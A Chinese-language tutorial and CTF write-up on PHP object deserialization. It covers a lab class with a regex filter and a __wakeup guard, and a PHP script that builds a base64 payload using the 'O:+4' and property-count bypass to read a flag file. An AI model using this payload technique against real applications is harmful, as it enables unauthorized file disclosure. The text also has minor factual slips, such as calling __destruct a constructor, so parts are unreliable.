一、漏洞原理
在提及漏洞前,首先要先理解PHP中的serialize()和unserialize()两个函数(由于没有PHP开发基础,请各位大哥指出小弟本文中的错误),serizlize()就是将变量、对象、数组等数据类型转换成字符串方便进行网络传输和存储,再通过unserialize()将字符串进行转换成原来的数据。当存在反序列化函数及可利用魔术方法时,且unserialize()接受到的字符串对于用户是可控时,用户可针对使用的
magic function
(魔术方法)来构造特定的语句,从而达到控制整个反序列化过程
二、序列化基础
例:
<?php
class test{
public $s1 = 'hellowworld!';
}
$class = new test();
print_r($class);
$class2 = serialize($class);
print_r($class2);
?>
可以看到序列化后将对象转换成了O:4:”test”:1:{s:2:”s1″;s:12:”helloworld!”;}这样字符串;
其中O代表对象,4代表对象的类名长度,”test”是对象名,1是对象中的字段数,s:2:”s1″代表的是字段名和字段名长度,s:12:”helloworld!”代表的是字段的值,和值的长度。
不同的数据类型有不同的缩写:a – array b – boolean d – double i – integer o – common object r – reference s – string C – custom object O – class N – null R – pointer reference U – unicode string
本身这个序列化过程没有问题,但是在反序列化的过程中如果没有对用户的输入进行安全检查,从而导致改变对象中属性的值,那么反序列化的结果就会有所不同。
可以在PHP官方看到魔术方法包含了图中的这么些,这里就分开实验其中的一些函数。
三、靶场练习
<?php
class Demo {
private $file = 'index.php';
public function __construct($file) {
$this->file = $file;
}
function __destruct() {
echo @highlight_file($this->file, true);
}
function __wakeup() {
if ($this->file != 'index.php') {
//the secret is in the fl4g.php
$this->file = 'index.php';
}
}
}
if (isset($_GET['var'])) {
$var = base64_decode($_GET['var']);
if (preg_match('/[oc]:\d+:/i', $var)) {
die('stop hacking!');
} else {
@unserialize($var);
}
} else {
highlight_file("index.php");
}
?>
(一)代码分析
1.__destruct():构造函数,对类变量进行初始化
2.析构函数__destruct(),在对象所在函数执行完成之后,会自动调用,这里就会高亮显示出文件。
3.__wakeup()魔术方法,如果有反序列化的使用,在反序列化之前会先调用这个方法;分析:$this->file != ‘index.php//如果界面不为index.php
$this->file = ‘index.php’; //界面就强制改为index.php。
4.OC:正则表达式:
\d: 匹配一个数字字符。等价于 [0-9]。
+: 匹配前面的子表达式一次或多次。例如,’zo+’ 能匹配 “zo” 以及 “zoo”,但不能匹配 “z”。+ 等价于 {1,}。
/i: 表示匹配的时候不区分大小写
这个正则表达式就是查看是否有数字。
(二)绕过
1.其实当序列化中的属性数大于实际的属性数时,则可跳过wakeup魔术函数执行。
2.因为反序列化是有数字的,方法:加一个加号即可。
(三)构造payload
<?php
class Demo {
private $file = 'index.php';
public function __construct($file) {
$this->file = $file;
}
function __destruct() {
echo @highlight_file($this->file, true);
}
function __wakeup() {
if ($this->file != 'index.php') {
//the secret is in the fl4g.php
$this->file = 'index.php';
}
}
}
$flag = new Demo('fl4g.php');
$flag = serialize($flag);
echo($flag);
$flag = str_replace('O:4', 'O:+4',$flag); // 绕过正则
$flag = str_replace(':1:', ':2:' ,$flag); //绕过wakeup 函数
echo base64_encode($flag); //对参数进行 base 编码
?>
复制输出的字符串再提交为 var 参数即可 这里有个坑,这里的 file 变量为私有变量,所以序列化之后的字符串开头结 尾各有一个空白字符(即%00),字符串长度也比实际长度大 2,如果将序列化结 果复制到在线的 base64 网站进行编码可能就会丢掉空白字符,所以这里直接在 php 代码里进行编码。类似的还有 protected 类型的变量,序列化之后字符串首 部会加上%00*%00。